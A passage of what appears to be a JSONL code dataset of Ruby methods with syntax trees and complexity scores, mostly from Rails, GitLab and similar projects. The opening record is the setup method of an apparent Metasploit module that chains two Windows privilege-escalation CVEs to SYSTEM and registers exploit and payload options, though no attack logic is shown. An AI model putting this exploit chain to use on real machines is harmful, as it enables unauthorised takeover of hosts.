OptString.new('EXPLOIT_NAME',\n [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),\n OptString.new('PAYLOAD_NAME',\n [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),\n OptString.new('WRITABLE_DIR',\n [false, 'Path to write binaries (%TEMP% by default).', nil]),\n OptInt.new('EXPLOIT_TIMEOUT',\n [true, 'The number of seconds to wait for exploit to finish running', 60]),\n OptInt.new('EXECUTE_DELAY',\n [true, 'The number of seconds to delay between file upload and exploit launch', 3])\n ])\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft UPnP Local Privilege Elevation Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This exploit uses two vulnerabilities to execute a command as an elevated user.\\n\"]},{\"type\":\"str\",\"children\":[\" The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to\\n\"]},{\"type\":\"str\",\"children\":[\" NT AUTHORITY\\\\LOCAL SERVICE\\n\"]},{\"type\":\"str\",\"children\":[\" The second (CVE-2019-1322) leverages the Update Orchestrator Service to\\n\"]},{\"type\":\"str\",\"children\":[\" elevate from NT AUTHORITY\\\\LOCAL SERVICE to NT AUTHORITY\\\\SYSTEM.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"NCC Group\"]},{\"type\":\"str\",\"children\":[\"hoangprod\"]},{\"type\":\"str\",\"children\":[\"bwatters-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-11-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-1322\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-1405\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"47684\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/apt69/COMahawk\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getenv\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXPLOIT_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The filename to use for the exploit binary (%RAND% by default).\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PAYLOAD_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The filename for the payload to be used on the target host (%RAND%.exe by default).\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WRITABLE_DIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to write binaries (%TEMP% by default).\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXPLOIT_TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of seconds to wait for exploit to finish running\"]},{\"type\":\"int\",\"children\":[60]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXECUTE_DELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of seconds to delay between file upload and exploit launch\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}","id":"78253aa1-d458-4a77-8c8c-4adfe37a0b06"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/helpers/issuable_description_templates_shared_examples.rb","start_line":34,"raw_source":"def expected_templates(issuable_type)\n expectation = {}\n\n expectation[\"Project Templates\"] = templates(issuable_type, project)\n expectation[\"Group #{inherited_from.namespace.full_name}\"] = templates(issuable_type, inherited_from) if inherited_from.present?\n\n expectation\n end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_templates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expectation\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expectation\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Project Templates\"]},{\"type\":\"send\",\"children\":[null,\"templates\",{\"type\":\"lvar\",\"children\":[\"issuable_type\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inherited_from\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expectation\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Group \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inherited_from\"]},\"namespace\"]},\"full_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"templates\",{\"type\":\"lvar\",\"children\":[\"issuable_type\"]},{\"type\":\"send\",\"children\":[null,\"inherited_from\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"expectation\"]}]}]}","id":"684e0b8b-c550-4fe4-a6c8-5a58a1d2a6d2"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiparameter_attributes_test.rb","start_line":103,"raw_source":"def test_multiparameter_attributes_on_time_with_old_date\n attributes = {\n \"written_on(1i)\" => \"1850\", \"written_on(2i)\" => \"6\", \"written_on(3i)\" => \"24\",\n \"written_on(4i)\" => \"16\", \"written_on(5i)\" => \"24\", \"written_on(6i)\" => \"00\"\n }\n topic = Topic.find(1)\n topic.attributes = attributes\n # testing against to_fs(:db) representation because either a Time or a DateTime might be returned, depending on platform\n assert_equal \"1850-06-24 16:24:00\", topic.written_on.to_fs(:db)\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiparameter_attributes_on_time_with_old_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(1i)\"]},{\"type\":\"str\",\"children\":[\"1850\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(2i)\"]},{\"type\":\"str\",\"children\":[\"6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(3i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(4i)\"]},{\"type\":\"str\",\"children\":[\"16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(5i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(6i)\"]},{\"type\":\"str\",\"children\":[\"00\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1850-06-24 16:24:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]}]}]}","id":"23926aa5-e629-49f8-b9f3-1764fab8932a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/query_analyzers/ast/logger_analyzer.rb","start_line":14,"raw_source":"def initialize(query)\n super\n\n @results = default_initial_values(query).merge({\n time_started: Gitlab::Metrics::System.monotonic_time\n })\n rescue StandardError => e\n Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)\n @results = default_initial_values(query_or_multiplex)\n end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_initial_values\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_started\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"monotonic_time\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_and_raise_for_dev_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@results\",{\"type\":\"send\",\"children\":[null,\"default_initial_values\",{\"type\":\"send\",\"children\":[null,\"query_or_multiplex\"]}]}]}]}]},null]}]}","id":"5f1d5260-2130-40d1-9e23-42025bb715fc"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/spec/features/support/board_page.rb","start_line":241,"raw_source":"def expect_not_changed\n expect(page).to have_no_css(\".editable-toolbar-title--save\")\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_not_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\".editable-toolbar-title--save\"]}]}]}]}","id":"6a3b2629-94ae-4d3d-be5b-432359398c7d"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/routes.rb","start_line":14,"raw_source":"def initialize(routes = [])\n @routes = routes\n @ast = nil\n @anchored_routes = []\n @custom_routes = []\n @simulator = nil\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"routes\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@routes\",{\"type\":\"lvar\",\"children\":[\"routes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ast\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@anchored_routes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@custom_routes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@simulator\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"798e7516-afe8-4f61-bcc8-40904692eac0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/create_dependency_service.rb","start_line":27,"raw_source":"def create_dependency_link_metadata\n inserted_links = ::Packages::DependencyLink.preload_dependency\n .for_package(@package)\n\n return if inserted_links.empty?\n\n rows = inserted_links.map do |dependency_link|\n raw_dependency = raw_dependency_for(dependency_link.dependency)\n\n next if raw_dependency[:target_framework].blank?\n\n {\n dependency_link_id: dependency_link.id,\n target_framework: raw_dependency[:target_framework]\n }\n end\n\n ::ApplicationRecord.legacy_bulk_insert(::Packages::Nuget::DependencyLinkMetadatum.table_name, rows.compact) # rubocop:disable Gitlab/BulkInsert\n end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_dependency_link_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inserted_links\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"DependencyLink\"]},\"preload_dependency\"]},\"for_package\",{\"type\":\"ivar\",\"children\":[\"@package\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserted_links\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserted_links\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dependency_link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_dependency\",{\"type\":\"send\",\"children\":[null,\"raw_dependency_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dependency_link\"]},\"dependency\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_dependency\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_framework\"]}]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependency_link_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dependency_link\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_framework\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_dependency\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_framework\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"legacy_bulk_insert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Nuget\"]},\"DependencyLinkMetadatum\"]},\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"compact\"]}]}]}]}","id":"5a423c5f-d142-483c-9dff-53fe21bd3d44"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/support/concurrency.rb","start_line":19,"raw_source":"def choose(*options)\n raise DeadEnd if options.empty?\n\n @path << [options.size, 0] if @index >= @path.size\n\n pair = @path[@index]\n raise \"non-determinism\" unless pair[0] == options.size\n\n @index += 1\n options[pair[1]]\n end","complexity_score":21.05,"ast_json":"{\"type\":\"def\",\"children\":[\"choose\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DeadEnd\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@index\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"size\"]},{\"type\":\"int\",\"children\":[0]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"pair\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@index\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"size\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"non-determinism\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"797992e9-4d38-40ad-9faf-1fba631643bd"} {"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/command/report_command.rb","start_line":58,"raw_source":"def location_formatter\n Report.location_formatter(options.location_format)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"location_formatter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Report\"]},\"location_formatter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"location_format\"]}]}]}","id":"1653b6e1-6a52-4c1e-bc2f-8445b8b6db7f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":743,"raw_source":"def allow_unlimited_graphql_depth\n allow_any_instance_of(GitlabSchema).to receive(:max_depth).and_return nil\n allow(GitlabSchema).to receive(:max_query_depth).with(any_args).and_return nil\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_unlimited_graphql_depth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"max_depth\"]}]},\"and_return\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"max_query_depth\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"any_args\"]}]},\"and_return\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"7f677bde-0ba1-4fbe-a9a1-e5b7017e94d7"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/columns_test.rb","start_line":30,"raw_source":"def test_rename_column_using_symbol_arguments\n add_column :test_models, :first_name, :string\n\n TestModel.create first_name: \"foo\"\n\n rename_column :test_models, :first_name, :nick_name\n TestModel.reset_column_information\n assert_includes TestModel.column_names, \"nick_name\"\n assert_equal [\"foo\"], TestModel.all.map(&:nick_name)\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rename_column_using_symbol_arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"test_models\"]},{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"test_models\"]},{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"sym\",\"children\":[\"nick_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]},\"reset_column_information\"]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]},\"column_names\"]},{\"type\":\"str\",\"children\":[\"nick_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]},\"all\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"nick_name\"]}]}]}]}]}]}","id":"20223c11-a591-48a4-9b61-a972c2e97121"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/active_model_attribute_methods.rb","start_line":12,"raw_source":"def aliases_by_attribute_name\n @aliases_by_attribute_name ||= Hash.new { |h, k| h[k] = Set.new }\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"aliases_by_attribute_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@aliases_by_attribute_name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]}]}]}","id":"e1cfb23a-90fc-4770-ac6b-c34678d87404"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package.rb","start_line":248,"raw_source":"def blocked?\n blockers\n .exists?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blocked?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blockers\"]},\"exists?\"]}]}","id":"95d8883a-a9a1-4c8b-a449-993140297692"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":1029,"raw_source":"def test_cache_with_private\n get :cache_me_forever\n assert_response :ok\n assert_equal \"max-age=#{100.years}, private, immutable\", @response.headers[\"Cache-Control\"]\n assert_not_nil @response.etag\n assert_predicate @response, :weak_etag?\n end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_with_private\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"cache_me_forever\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"max-age=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[100]},\"years\"]}]},{\"type\":\"str\",\"children\":[\", private, immutable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"etag\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@response\"]},{\"type\":\"sym\",\"children\":[\"weak_etag?\"]}]}]}]}","id":"3ae55e6b-b97d-41f3-9287-af76596fae64"} {"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/medium_tag.rb","start_line":26,"raw_source":"def parse_url(url)\n match = pattern_match_for(url, [REGISTRY_REGEXP])\n raise StandardError, I18n.t(\"liquid_tags.medium_tag.invalid_link_url\") unless match\n\n 